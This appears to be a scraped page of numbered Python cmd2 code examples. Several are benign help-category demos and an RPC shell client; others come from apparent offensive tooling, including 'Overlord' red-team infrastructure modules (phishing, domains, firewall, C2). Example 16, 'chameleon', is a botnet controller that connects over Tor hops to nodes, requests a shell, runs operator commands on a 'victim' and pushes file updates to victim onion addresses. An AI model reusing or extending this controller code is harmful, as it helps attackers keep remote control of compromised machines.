                        self.mod["size"] = config[prov]["default_size"]
                        
    def set_size(self, arg):
        """Sets the tools variable"""
        self.mod["size"]= arg.size

    #Set handler functions for the sub-commands
    parser_size.set_defaults(func=set_size)
    parser_region.set_defaults(func=set_region)
    parser_redirectors.set_defaults(func=set_redirectors)
    parser_provider.set_defaults(func=set_provider)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """Set the variables for the module"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    def do_add(self,args):
        """Adds gophish module to the project """
        global  module
        module = self.mod
        return True

    # Command categories
    CMD_CAT_GENERAL = 'General (type help <command>)'
    CMD_CAT_MODULE  = 'Module  (type help <command>)'

    cmd2.categorize((do_add,do_set), CMD_CAT_MODULE)
    cmd2.categorize(do_info, CMD_CAT_GENERAL)
Esempio n. 14
0
    def __new__(cls, name, bases, attrs):
        # Target: create dynamic methods in ShellClient class with this metaclass

        # Create empty variable. After it will be filled
        attrs['shell_methods_name'] = list()

        # First recover all methods from server
        # If it fails, regular behaviour will be executed
        try:
            obj = Pyro4.Proxy("PYRONAME:shell_manager_module@:{}".format(PYRO_NS_PORT))
            Pyro4.naming.type_meta(obj)

            # Recover version from server
            z_version_name = obj.shell_zappversion(None)
            if z_version_name:
                attrs['z_version_name'] = z_version_name
            else:
                attrs['z_version_name'] = ''
        except Pyro4.errors.CommunicationError as e1:
            print('Communication error with server: {}'.format(e1))
            attrs['z_version_name'] = ''
            return super(MetaShellClient, cls).__new__(cls, name, bases, attrs)
        except Pyro4.errors.NamingError as e2:
            print('Cannot communicate with shell_manager_module via RPC naming server - {}'.format(e2))
            attrs['z_version_name'] = ''
            return super(MetaShellClient, cls).__new__(cls, name, bases, attrs)

        all_methods = inspect.getmembers(obj)
        attrs['rpc_object'] = obj

        # Filter only by shell methods
        # methods[x][0] --> method name
        # methods[x][1] --> callable method
        shell_methods_from_server = [tup for tup in all_methods if tup[0].startswith(SHELL_COMMAND_PREFIX)]
        help_methods_from_server = [tup for tup in all_methods if tup[0].startswith(HELP_COMMAND_PREFIX)]
        category_methods_from_server = [tup for tup in all_methods if tup[0].startswith(CATEGORY_METHOD_PREFIX)]

        # Rename method name removing SHELL_COMMAND_PREFIX
        # Also save method names in a list
        shell_methods_name = list()
        shell_methods = list()
        for sm in shell_methods_from_server:
            method_name = sm[0][len(SHELL_COMMAND_PREFIX):]
            method_callable = sm[1]
            shell_methods_name.append(method_name)
            shell_methods.append((method_name, method_callable))

        # Save shell methods name in class
        attrs['shell_methods_name'] = shell_methods_name

        # Append help methods
        help_methods = list()
        for sm in help_methods_from_server:
            method_name = sm[0]
            method_callable = sm[1]
            help_methods.append((method_name, method_callable))

        # Encapsulate RPC method call in function to avoid serialization problems with help method
        def make_function(methods, i):
            def function(self, *args):
                try:
                    out = methods[i][1](args)
                    print(out)
                except Pyro4.errors.CommunicationError as e1:
                    print('Communication error with server, probably server is down: {}'.format(e1))
                except ValueError as e2:
                    if str(e2).startswith('too many values to unpack'):
                        print('Server error. Method [{}] is wrong because it does not assign all the arguments [{}] '
                              '(see call method get_args_from_shell(args))'.format(methods[i][0], args[0].args))
                except Exception as e:
                    print('Server error: {}'.format(e))

            return function

        # Get methods categories in dictionary
        categories = dict()
        for i in range(len(category_methods_from_server)):
            categories = {**categories, **category_methods_from_server[i][1]()}

        # Iterate all methods with index
        for i in range(len(shell_methods)):
            # Create do_ method and assign the new function using category function
            created_method_name = 'do_' + shell_methods[i][0]
            attrs[created_method_name] = make_function(shell_methods, i)
            categorize(attrs[created_method_name], categories.get(shell_methods[i][0], 'Uncategorized'))

        # Iterate all help methods with index
        for i in range(len(help_methods)):
            # Create do_ method and assign the new function
            attrs[help_methods[i][0]] = make_function(help_methods, i)

        return super(MetaShellClient, cls).__new__(cls, name, bases, attrs)
Esempio n. 15
0
class HelpCategories(cmd2.Cmd):
    """ Example cmd2 application. """

    # Command categories
    CMD_CAT_CONNECTING = 'Connecting'
    CMD_CAT_APP_MGMT = 'Application Management'
    CMD_CAT_SERVER_INFO = 'Server Information'

    def do_connect(self, _):
        """Connect command"""
        self.poutput('Connect')

    # Tag the above command functions under the category Connecting
    cmd2.categorize(do_connect, CMD_CAT_CONNECTING)

    @cmd2.with_category(CMD_CAT_CONNECTING)
    def do_which(self, _):
        """Which command"""
        self.poutput('Which')

    def do_list(self, _):
        """List command"""
        self.poutput('List')

    def do_deploy(self, _):
        """Deploy command"""
        self.poutput('Which')

    def do_start(self, _):
        """Start command"""
        self.poutput('Start')

    def do_sessions(self, _):
        """Sessions command"""
        self.poutput('Sessions')

    def do_redeploy(self, _):
        """Redeploy command"""
        self.poutput('Redeploy')

    restart_parser = argparse.ArgumentParser(
        formatter_class=argparse.RawTextHelpFormatter)
    restart_parser.add_argument(
        'when',
        default='now',
        choices=['now', 'later', 'sometime', 'whenever'],
        help='Specify when to restart')

    @cmd2.with_argparser(restart_parser)
    @cmd2.with_category(CMD_CAT_APP_MGMT)
    def do_restart(self, _):
        """Restart command"""
        self.poutput('Restart')

    def do_expire(self, _):
        """Expire command"""
        self.poutput('Expire')

    def do_undeploy(self, _):
        """Undeploy command"""
        self.poutput('Undeploy')

    def do_stop(self, _):
        """Stop command"""
        self.poutput('Stop')

    def do_findleakers(self, _):
        """Find Leakers command"""
        self.poutput('Find Leakers')

    # Tag the above command functions under the category Application Management
    cmd2.categorize((do_list, do_deploy, do_start, do_sessions, do_redeploy,
                     do_expire, do_undeploy, do_stop, do_findleakers),
                    CMD_CAT_APP_MGMT)

    def do_resources(self, _):
        """Resources command"""
        self.poutput('Resources')

    def do_status(self, _):
        """Status command"""
        self.poutput('Status')

    def do_serverinfo(self, _):
        """Server Info command"""
        self.poutput('Server Info')

    def do_thread_dump(self, _):
        """Thread Dump command"""
        self.poutput('Thread Dump')

    def do_sslconnectorciphers(self, _):
        """
        SSL Connector Ciphers command is an example of a command that contains
        multiple lines of help information for the user. Each line of help in a
        contiguous set of lines will be printed and aligned in the verbose output
        provided with 'help --verbose'
        This is after a blank line and won't de displayed in the verbose help
        """
        self.poutput('SSL Connector Ciphers')

    def do_vminfo(self, _):
        """VM Info command"""
        self.poutput('VM Info')

    # Tag the above command functions under the category Server Information
    cmd2.categorize(do_resources, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_status, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_serverinfo, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_thread_dump, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_sslconnectorciphers, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_vminfo, CMD_CAT_SERVER_INFO)

    # The following command functions don't have the HELP_CATEGORY attribute set
    # and show up in the 'Other' group
    def do_config(self, _):
        """Config command"""
        self.poutput('Config')

    def do_version(self, _):
        """Version command"""
        self.poutput(cmd2.__version__)
Esempio n. 16
0
class MyPrompt(cmd2.Cmd):
    prompt = make_blue("chameleon> ")
    intro = make_blue(
        """
   _____ _                          _                  
  / ____| |                        | |                 
 | |    | |__   __ _ _ __ ___   ___| | ___  ___  _ __  
 | |    | '_ \ / _` | '_ ` _ \ / _ | |/ _ \/ _ \| '_ \ 
 | |____| | | | (_| | | | | | |  __| |  __| (_) | | | |
  \_____|_| |_|\__,_|_| |_| |_|\___|_|\___|\___/|_| |_|
                                                      
                                                       


    """
    )

    def __init__(self):
        super().__init__()
        del cmd2.Cmd.do_alias
        del cmd2.Cmd.do_macro
        del cmd2.Cmd.do_quit
        del cmd2.Cmd.do_shortcuts
        self.hidden_commands.append("edit")
        self.hidden_commands.append("set")
        self.hidden_commands.append("EOF")
        self.hidden_commands.append("py")
        self.hidden_commands.append("run_pyscript")
        self.hidden_commands.append("run_script")

    __botnet = "botnet"
    __setup = "setup"
    __basic = "basic"

    __private_key_path = None
    __socket = None
    __terminal = False

    categorize(
        (cmd2.Cmd.do_shell, cmd2.Cmd.do_history, cmd2.Cmd.do_help), __basic,
    )

    set_pem_argparser = argparse.ArgumentParser(
        description="Set where the private key file is stored"
    )
    set_pem_argparser.add_argument(
        "private_key_path", help="path where the file is located",
    )

    @with_argparser(set_pem_argparser)
    @with_category(__setup)
    def do_set_pem(self, args: argparse.Namespace):
        path = args.private_key_path
        if not path:
            print_red("No path to private key file provided")

        self.__private_key_path = path
        print_yellow(f"Private key path -> {self.__private_key_path}")

    connect_argparser = argparse.ArgumentParser(description="Connect to server")
    connect_argparser.add_argument(
        "-a",
        "--num-anonymizers",
        type=int,
        dest="num_anonymizers",
        help="Number of hops between origin and recipient",
        default=0,
    )
    connect_argparser.add_argument(
        "-n",
        "--file-nodes",
        dest="node_list_path",
        help="Path to file containing a list with nodes in the"
        + " format (name, download address, communication address)",
        default=None,
    )

    @with_argparser(connect_argparser)
    @with_category(__botnet)
    def do_connect(self, args: argparse.Namespace):
        if self.__private_key_path is None:
            print_red("Private key path is not configured")
            return

        node_list_path = args.node_list_path
        num_anonymizers = args.num_anonymizers

        print_green("\nWhich server do you want to connect to?\n")
        node_list = complete_node_list(node_list_path)
        print_list_with_indexes(node_list)

        print_green("\n\nIntroduce position of the server in the list:")
        selected_index = int(input())
        selected_node = node_from_index(selected_index, seed_directions, node_list_path)

        try:
            self.__connect(selected_node, num_anonymizers)
        except Exception as e:
            print_red("Could not establisha communication with the specified node")
            print_red(e)
            return

        self.prompt = make_blue(f"chameleon {selected_node}> ")
        self.__terminal = True

    def __connect(self, recipient: str, num_anonymizers: int = 0):
        if num_anonymizers > 0:
            next_hop = random.choice(seed_directions)[1]
        else:
            next_hop = recipient

        self.__socket = socket.socket()
        self.__socket.connect((next_hop, TOR_SERVER_PORT))
        self.__send_msg(SHELL, "I want a shell", num_anonymizers, recipient)

    def __send_msg(
        self, msg_type: int, msg: str, num_anonymizers: str = "0", address: str = ""
    ):
        msg_info = {
            "num_anonymizers": num_anonymizers,
            "onion": address,
            "msg_type": msg_type,
            "msg": msg,
        }
        msg = structure_msg(msg_info)
        signed_msg = sign_structured_msg(msg, self.__private_key_path)
        self.__socket.send(signed_msg)

    disconnect_arg_parser = argparse.ArgumentParser(
        description="Disconnect from server"
    )

    @with_argparser(disconnect_arg_parser)
    @with_category(__botnet)
    def do_disconnect(self, input: str):
        if self.__socket:
            close_terminal(self.__socket)
        self.prompt = make_blue(f"chameleon> ")
        self.__terminal = False

    def help_disconnect(self):
        print("Usage: disconnect\n\n" + "close shell\n")

    update_argparser = argparse.ArgumentParser(
        description="Send a message to each peer to update some file"
    )
    update_argparser.add_argument(
        "-s",
        "--hash-from-file",
        type=str,
        dest="file_path_to_hash",
        help="File we need to calculate the hash so each peers knows if their"
        + " copy needs an update",
        required=True,
    )
    update_argparser.add_argument(
        "-f",
        "--file-path-in-victim",
        type=str,
        dest="file_path_in_victim",
        help="File path where the file to be updated is in the victim",
        required=True,
    )
    update_argparser.add_argument(
        "-n",
        "--file-nodes",
        dest="node_list_path",
        help="Path to file containing a list with nodes in the"
        + " format (name, download address, communication address)",
        default=None,
    )

    @with_argparser(update_argparser)
    @with_category(__botnet)
    def do_update(self, args: argparse.Namespace):
        if self.__private_key_path is None:
            print_red("Private key path is not configured")
            return

        file_path = args.file_path_in_victim
        file_path_to_hash = args.file_path_to_hash
        node_list_path = args.node_list_path

        print_green("\nWhich server has the updated file?\n")
        node_list = complete_node_list(node_list_path)
        print_list_with_indexes(node_list)

        print_green("\n\nIntroduce position of the server in the list:")
        selected_index = int(input())
        selected_node = node_from_index(
            selected_index, seed_directions, node_list_path, "down"
        )

        msg_info = {
            "msg_type": UPDATE_FILE,
            "msg": f"{file_path} {calculate_file_hash(file_path_to_hash)} "
            + f"{selected_node}",
        }
        msg = structure_msg(msg_info)
        signed_msg = sign_structured_msg(msg, self.__private_key_path)
        with open(node_list_path, "r") as neighbours:
            neighbours_info = neighbours.readlines()
        victim_directions = [
            line.strip().split()[2].strip() for line in neighbours_info
        ]
        onions = [seed_comm[1] for seed_comm in seed_directions] + victim_directions
        broadcast(TOR_SERVER_PORT, signed_msg, onions)

    @with_category(__basic)
    def do_exit(self, input: str):
        return True

    def help_exit(self):
        print("exit the prompt")

    def default(self, inp: cmd2.Statement):
        msg = inp.command_and_args
        if self.__terminal is True:
            self.__execute_remotely(msg)
        else:
            if msg == "q":
                return self.do_exit(msg)
            else:
                print("Unrecognized command")

    def __execute_remotely(self, msg: str):
        coded_msg = msg.encode(ENCODING)
        self.__socket.send(coded_msg)
        ciphertext = self.__socket.recv(BUFFER_SIZE)
        plain_text = decrypt(ciphertext, self.__private_key_path)
        print_yellow(plain_text)

    do_EOF = do_exit
    help_EOF = help_exit
Esempio n. 17
0
class cmd_main(cmd2.Cmd):
    """cmd2 instance for godaddy module"""
    # The mod dictionary for the godaddy module
    mod = {}

    providers_list = []

    def __init__(self):
        super().__init__()
        global module
        global domain_list
        # Hide the Quit funcitionality
        hide_cmd2_modules(self)

        dir_path = "config"
        if os.path.exists(dir_path + "/config.json"):
            with open(dir_path + '/config.json', 'r') as filehandle:
                config = json.load(filehandle)
                self.mod = config["mod_godaddy"]
                self.providers_list = config["providers_list"]
                self.module_domain_parser.choices = domain_list

        else:
            print("The config/config.json file does not exists! Exiting...")
            return True

        # Check if the editmodule functionality was used
        if module:
            self.mod = dict(module)
        else:
            self.mod["id"] = randomString()

    def do_back(self, arg):
        """Return to main menu"""
        return True

    def do_clear(self, arg):
        """Clears screen"""
        os.system('clear')

    def do_info(self, mod):
        """Prints variable table"""
        if mod:
            x = PrettyTable()
            x.title = mod["module"] + "/" + mod["id"]
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", mod["id"], "N/A", "Module ID"])
            x.add_row(
                ["provider", mod["provider"], "N/A", "Autoloaded from domain"])
            x.add_row(["domain", mod["domain"], "yes", "Domain to be used"])
            x.align["DESCRITPION"] = "l"
        else:
            x = PrettyTable()
            x.title = 'Godaddy module'
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", self.mod["id"], "N/A", "Module ID"])
            x.add_row([
                "provider", self.mod["provider"], "N/A",
                "Autoloaded from domain"
            ])
            x.add_row(
                ["domain", self.mod["domain"], "yes", "Domain to be used"])
            x.align["DESCRITPION"] = "l"
        print(x)

    # set command
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(
        title='set-commands', help='Sets the variables of the module')

    # create the parser for the "domain" sub-command
    parser_domain = set_subparsers.add_parser('domain',
                                              help='Domain to be used')
    module_domain_parser = parser_domain.add_argument(
        'domain',
        choices=providers_list,
        type=str,
        help='example : [set domain <domain> ]')

    def set_domain(self, arg):
        """Sets the domain variable"""
        exception_flag = False
        for mod in campaign_list:
            if mod["module"] == "dns_record":
                if arg.domain == list(mod["records"].keys())[0]:
                    self.mod["domain"] = arg.domain
                    self.mod["provider"] = mod["provider"]
                    exception_flag = False
                    break
                else:
                    exception_flag = True

        if exception_flag:
            print(
                "A DNS record must be set for the specified domain before redirecting the NS!"
            )

    #Set handler functions for the sub-commands
    parser_domain.set_defaults(func=set_domain)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """Set the variables for the module"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    def do_add(self, args):
        """Adds c2 module to the project """
        global module
        module = self.mod
        if self.mod["domain"]:
            module = self.mod
            return True
        else:
            print("The domain can not be None!")

    # Command categories
    CMD_CAT_GENERAL = 'General (type help <command>)'
    CMD_CAT_MODULE = 'Module  (type help <command>)'

    cmd2.categorize((do_add, do_set), CMD_CAT_MODULE)
    cmd2.categorize(do_info, CMD_CAT_GENERAL)
Esempio n. 18
0
class HelpCategories(cmd2.Cmd):
    """Example cmd2 application."""

    START_TIMES = ['now', 'later', 'sometime', 'whenever']

    # Command categories
    CMD_CAT_CONNECTING = 'Connecting'
    CMD_CAT_APP_MGMT = 'Application Management'
    CMD_CAT_SERVER_INFO = 'Server Information'

    def __init__(self):
        super().__init__()

    def do_connect(self, _):
        """Connect command"""
        self.poutput('Connect')

    # Tag the above command functions under the category Connecting
    cmd2.categorize(do_connect, CMD_CAT_CONNECTING)

    @cmd2.with_category(CMD_CAT_CONNECTING)
    def do_which(self, _):
        """Which command"""
        self.poutput('Which')

    def do_list(self, _):
        """List command"""
        self.poutput('List')

    def do_deploy(self, _):
        """Deploy command"""
        self.poutput('Deploy')

    start_parser = cmd2.DEFAULT_ARGUMENT_PARSER(description='Start', epilog='my_decorator runs even with argparse errors')
    start_parser.add_argument('when', choices=START_TIMES, help='Specify when to start')

    @my_decorator
    @cmd2.with_argparser(start_parser)
    def do_start(self, _):
        """Start command"""
        self.poutput('Start')

    def do_sessions(self, _):
        """Sessions command"""
        self.poutput('Sessions')

    def do_redeploy(self, _):
        """Redeploy command"""
        self.poutput('Redeploy')

    restart_parser = cmd2.DEFAULT_ARGUMENT_PARSER(
        description='Restart', epilog='my_decorator does not run when argparse errors'
    )
    restart_parser.add_argument('when', choices=START_TIMES, help='Specify when to restart')

    @cmd2.with_argparser(restart_parser)
    @cmd2.with_category(CMD_CAT_APP_MGMT)
    @my_decorator
    def do_restart(self, _):
        """Restart command"""
        self.poutput('Restart')

    def do_expire(self, _):
        """Expire command"""
        self.poutput('Expire')

    def do_undeploy(self, _):
        """Undeploy command"""
        self.poutput('Undeploy')

    def do_stop(self, _):
        """Stop command"""
        self.poutput('Stop')

    def do_findleakers(self, _):
        """Find Leakers command"""
        self.poutput('Find Leakers')

    # Tag the above command functions under the category Application Management
    cmd2.categorize(
        (do_list, do_deploy, do_start, do_sessions, do_redeploy, do_expire, do_undeploy, do_stop, do_findleakers),
        CMD_CAT_APP_MGMT,
    )

    def do_resources(self, _):
        """Resources command"""
        self.poutput('Resources')

    def do_status(self, _):
        """Status command"""
        self.poutput('Status')

    def do_serverinfo(self, _):
        """Server Info command"""
        self.poutput('Server Info')

    def do_thread_dump(self, _):
        """Thread Dump command"""
        self.poutput('Thread Dump')

    def do_sslconnectorciphers(self, _):
        """
        SSL Connector Ciphers command is an example of a command that contains
        multiple lines of help information for the user. Each line of help in a
        contiguous set of lines will be printed and aligned in the verbose output
        provided with 'help --verbose'

        This is after a blank line and won't de displayed in the verbose help
        """
        self.poutput('SSL Connector Ciphers')

    def do_vminfo(self, _):
        """VM Info command"""
        self.poutput('VM Info')

    # Tag the above command functions under the category Server Information
    cmd2.categorize(do_resources, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_status, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_serverinfo, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_thread_dump, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_sslconnectorciphers, CMD_CAT_SERVER_INFO)
    cmd2.categorize(do_vminfo, CMD_CAT_SERVER_INFO)

    # The following command functions don't have the HELP_CATEGORY attribute set
    # and show up in the 'Other' group
    def do_config(self, _):
        """Config command"""
        self.poutput('Config')

    def do_version(self, _):
        """Version command"""
        self.poutput(cmd2.__version__)

    @cmd2.with_category("Command Management")
    def do_disable_commands(self, _):
        """Disable the Application Management commands"""
        message_to_print = "{} is not available while {} commands are disabled".format(COMMAND_NAME, self.CMD_CAT_APP_MGMT)
        self.disable_category(self.CMD_CAT_APP_MGMT, message_to_print)
        self.poutput("The Application Management commands have been disabled")

    @cmd2.with_category("Command Management")
    def do_enable_commands(self, _):
        """Enable the Application Management commands"""
        self.enable_category(self.CMD_CAT_APP_MGMT)
        self.poutput("The Application Management commands have been enabled")
Esempio n. 19
0
class cmd_main(cmd2.Cmd):
    """cmd2 instance for firewall module"""
    # The mod dictionary for the firewall module
    mod = {}

    providers_list = []

    def __init__(self):
        super().__init__()
        global module
        global campaign_list
        # Hide the Quit funcitionality
        hide_cmd2_modules(self)

        dir_path = "config"
        if os.path.exists(dir_path + "/config.json"):
            with open(dir_path + '/config.json', 'r') as filehandle:
                config = json.load(filehandle)
                self.mod = config["mod_firewall"]
                self.providers_list = config["providers_list"]
                self.module_provider_parser.choices = self.providers_list

        else:
            print("The config/config.json file does not exists! Exiting...")
            return True

        # Check if the editmodule functionality was used
        if module:
            self.mod = dict(module)
        else:
            self.mod["id"] = randomString()

        # Create list with modules id
        modules_ids = []
        for c in campaign_list:
            if c["module"] != "dns_record" and c[
                    "module"] != "letsencrypt" and c[
                        "module"] != "godaddy" and c["module"] != "redirector":
                modules_ids.insert(len(modules_ids),
                                   (c["id"] + "/" + c["module"]))
        self.module_mod_id_parser.choices = modules_ids

        # for c in campaign_list:
        #     if c["module"] != "dns_record" and c["module"] != "letsencrypt" and c["module"] != "godaddy":
        #         if c["module"] == "mail" or c["module"] == "redirector":
        #             modules_ids.insert(len(modules_ids),(c["id"]+"/"+c["module"]))
        #         else:
        #             modules_ids.insert(len(modules_ids),(c["id"]+"/"+c["module"]))
        #             for i in range(c["redirectors"]):
        #                 modules_ids.insert(len(modules_ids),(c["id"]+"-"+str(i+1)+"/"+c["module"]))
        self.module_mod_id_parser.choices = modules_ids

    def do_back(self, arg):
        """Return to main menu"""
        return True

    def do_clear(self, arg):
        """Clears screen"""
        os.system('clear')

    def do_info(self, mod):
        """Prints variable table"""
        if mod:
            x = PrettyTable()
            x.title = mod["module"] + "/" + mod["id"]
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", mod["id"], "N/A", "Module ID"])
            x.add_row(
                ["provider", mod["provider"], "yes", "Provider to be used"])
            x.add_row([
                "protocol", mod["protocol"], "yes",
                "Protocol for the rule [tcp,udp,icmp]"
            ])
            x.add_row([
                "port", mod["port"], "yes",
                "Port or Range of ports [22,0-65535]"
            ])
            x.add_row([
                "address", mod["address"], "yes",
                "Addresses for the rule. Default 0.0.0.0/0. It can take more than one seperated by space"
            ])
            x.add_row(["mod_id", mod["mod_id"], "yes", "Module to be used"])
            x.add_row([
                "rule", mod["rule"], "yes",
                "Rule to be used [inbound,outbound]"
            ])
            x.align["DESCRITPION"] = "l"
        else:
            x = PrettyTable()
            x.title = 'Firewall module'
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", self.mod["id"], "N/A", "Module ID"])
            x.add_row([
                "provider", self.mod["provider"], "yes", "Provider to be used"
            ])
            x.add_row([
                "protocol", self.mod["protocol"], "yes",
                "Protocol for the rule [tcp,udp,icmp]"
            ])
            x.add_row([
                "port", self.mod["port"], "yes",
                "Port or Range of ports [22,0-65535]"
            ])
            x.add_row([
                "address", self.mod["address"], "yes",
                "Addresses for the rule. Default 0.0.0.0/0. It can take more than one seperated by space"
            ])
            x.add_row(
                ["mod_id", self.mod["mod_id"], "yes", "Module to be used"])
            x.add_row([
                "rule", self.mod["rule"], "yes",
                "Rule to be used [inbound,outbound]"
            ])
            x.align["DESCRITPION"] = "l"
        print(x)

    # set command
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(
        title='set-commands', help='Sets the variables of the module')

    # create the parser for the "provider" sub-command
    parser_provider = set_subparsers.add_parser('provider',
                                                help='Provider to be used')
    module_provider_parser = parser_provider.add_argument(
        'provider',
        choices=providers_list,
        type=str,
        help='example : [set provider <digitalocean> ]')

    # create the parser for the "port" sub-command
    parser_port = set_subparsers.add_parser('port', help='Ports to be used')
    module_port_parser = parser_port.add_argument(
        'port', type=str, help='example : [set port <22-1000> ,set port 22  ]')

    # create the parser for the "protocol" sub-command
    parser_protocol = set_subparsers.add_parser('protocol',
                                                help='Protocol to be used')
    module_protocol_parser = parser_protocol.add_argument(
        'protocol',
        choices=["tcp", "udp", "icmp"],
        type=str,
        help='example : [set protocol tcp ]')

    # create the parser for the "address" sub-command
    parser_address = set_subparsers.add_parser('address',
                                               help='Address to be used')
    module_address_parser = parser_address.add_argument(
        'address', type=str, help='example : [set address 0.0.0.0/0 ]')

    # create the parser for the "rule" sub-command
    parser_rule = set_subparsers.add_parser('rule', help='Rule to be used')
    module_rule_parser = parser_rule.add_argument(
        'rule',
        choices=["inbound", "outbound"],
        type=str,
        help='example : [set rule inbound ]')

    # create the parser for the "mod_id" sub-command
    parser_mod_id = set_subparsers.add_parser('mod_id',
                                              help='mod_id to be used')
    module_mod_id_parser = parser_mod_id.add_argument(
        'mod_id', type=str, help='example : [set mod_id tcp ]')

    def set_port(self, arg):
        """Sets the port variable"""
        self.mod["port"] = arg.port

    def set_rule(self, arg):
        """Sets the rule variable"""
        self.mod["rule"] = arg.rule

    def set_protocol(self, arg):
        """Sets the protocol variable"""
        self.mod["protocol"] = arg.protocol

    def set_provider(self, arg):
        """Sets the provider variable"""
        self.mod["provider"] = arg.provider

    def set_address(self, arg):
        """Sets the address variable"""
        self.mod["address"] = arg.address

    def set_mod(self, arg):
        """Sets the mod_id variable"""
        self.mod["mod_id"] = arg.mod_id

    #Set handler functions for the sub-commands
    parser_provider.set_defaults(func=set_provider)
    parser_address.set_defaults(func=set_address)
    parser_port.set_defaults(func=set_port)
    parser_protocol.set_defaults(func=set_protocol)
    parser_rule.set_defaults(func=set_rule)
    parser_mod_id.set_defaults(func=set_mod)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """Set the variables for the module"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    def do_add(self, args):
        """Adds c2 module to the project """
        global module
        module = self.mod
        if self.mod["mod_id"]:
            module = self.mod
            return True
        else:
            print("The mod_id can not be None!")

        if self.mod["port"] and self.mod["protocol"] != "icmp":
            module = self.mod
            return True
        else:
            print("The port can not be None!")

    # Command categories
    CMD_CAT_GENERAL = 'General (type help <command>)'
    CMD_CAT_MODULE = 'Module  (type help <command>)'

    cmd2.categorize((do_add, do_set), CMD_CAT_MODULE)
    cmd2.categorize(do_info, CMD_CAT_GENERAL)
Esempio n. 20
0
class Overlord(cmd2.Cmd):
    """Main Menu for Overlord."""
    os.system('clear')
    version = cmd2.ansi.style("v.1.0",
                              fg='red',
                              bg='',
                              bold=True,
                              underline=False)
    print(f"""
                     _               _
  _____   _____ _ __| | ___  _ __ __| |
 / _ \ \ / / _ \ '__| |/ _ \| '__/ _` |
| (_) \ V /  __/ |  | | (_) | | | (_| |
 \___/ \_/ \___|_|  |_|\___/|_|  \__,_|
                                        {version}
    """)
    intro = "Welcome to Overlord!\nType help or ? to list commands\n"
    variables = {
        "dotoken": "",
        "domains": [],
        "aws_access_key": "",
        "aws_secret_key": "",
        "godaddy_access_key": "",
        "godaddy_secret_key": ""
    }
    campaign = []
    modules_ids = []
    project_id = ""

    def __init__(self):
        super().__init__()
        hide_cmd2_modules(self)
        #Initialize project ID
        dir_path = "projects"
        uniq = True
        while True:
            rand = randomString()
            for p in next(os.walk(dir_path))[1]:
                if p == rand:
                    uniq = False
            if uniq:
                break

        self.project_id = rand

        self.prompt = "(" + cmd2.ansi.style(
            "Overlord", fg='red', bg='', bold=True,
            underline=False) + " : " + cmd2.ansi.style(
                rand, fg='bright_black', bg='', bold=True,
                underline=False) + ")" + "$> "
        self.loadproject_id.choices = next(os.walk(dir_path))[1]
        self.cloneproject_id.choices = next(os.walk(dir_path))[1]

        if os.path.exists(dir_path + "/variables.json"):
            with open(dir_path + '/variables.json', 'r') as filehandle:
                self.variables = json.load(filehandle)
                self.domain_parser_id.choices = self.variables["domains"]

    def do_clear(self, arg):
        """Clear the screen"""
        os.system('clear')

    def do_exit(self, arg):
        """exit to main menu"""
        flag = input(
            cmd2.ansi.style("Exit? [y/N]:",
                            fg='red',
                            bg='',
                            bold=True,
                            underline=False))
        if flag == 'y':
            return True

    def do_version(self, arg):
        """Version"""
        print("version 1.0")

    def do_create(self, arg):
        """Creates terraform project from the campaign"""
        dir_path = "projects/" + self.project_id
        self.do_save(None)
        create.main(self.campaign, self.variables, self.project_id)

    newproject_parser = argparse.ArgumentParser(prog='new')
    newproject_id = newproject_parser.add_argument(
        'id', type=str, nargs="?", help='example: new / new <name> ]')

    @cmd2.with_argparser(newproject_parser)
    def do_new(self, arg):
        """Creates new terraform project."""
        dir_path = "projects"
        if arg.id is None:
            uniq = True
            while True:
                rand = randomString()
                for p in next(os.walk(dir_path))[1]:
                    if p == rand:
                        uniq = False
                if uniq:
                    break
            self.project_id = rand
        else:
            self.project_id = arg.id
        self.campaign = []
        proj = cmd2.ansi.style(self.project_id,
                               fg='blue',
                               bg='',
                               bold=True,
                               underline=False)
        notification = cmd2.ansi.style("***",
                                       fg='red',
                                       bg='',
                                       bold=True,
                                       underline=False)
        print(
            f"""\n{notification} New project with ID {proj} has been created.  {notification}\n"""
        )
        self.prompt = "(" + cmd2.ansi.style(
            "Overlord", fg='red', bg='', bold=True,
            underline=False) + " : " + cmd2.ansi.style(
                self.project_id,
                fg='bright_black',
                bg='',
                bold=True,
                underline=False) + ")" + "$> "

    def create_dir(self):
        """Creates the project directory"""
        os.system('mkdir projects/' + self.project_id)
        os.system('mkdir projects/' + self.project_id + '/ssh_keys')
        os.system('mkdir projects/' + self.project_id + '/ssh_configs')
        os.system('mkdir projects/' + self.project_id + '/certificates')

    loadproject_parser = argparse.ArgumentParser(prog='load')
    loadproject_id = loadproject_parser.add_argument(
        'id', type=str, help='example: [ load <ID> ]')

    @cmd2.with_argparser(loadproject_parser)
    def do_load(self, arg):
        """Load a project to overlord"""
        dir_path = "projects/" + arg.id
        if os.path.exists(dir_path):
            with open(dir_path + '/campaign.json', 'r') as filehandle:
                self.campaign = json.load(filehandle)
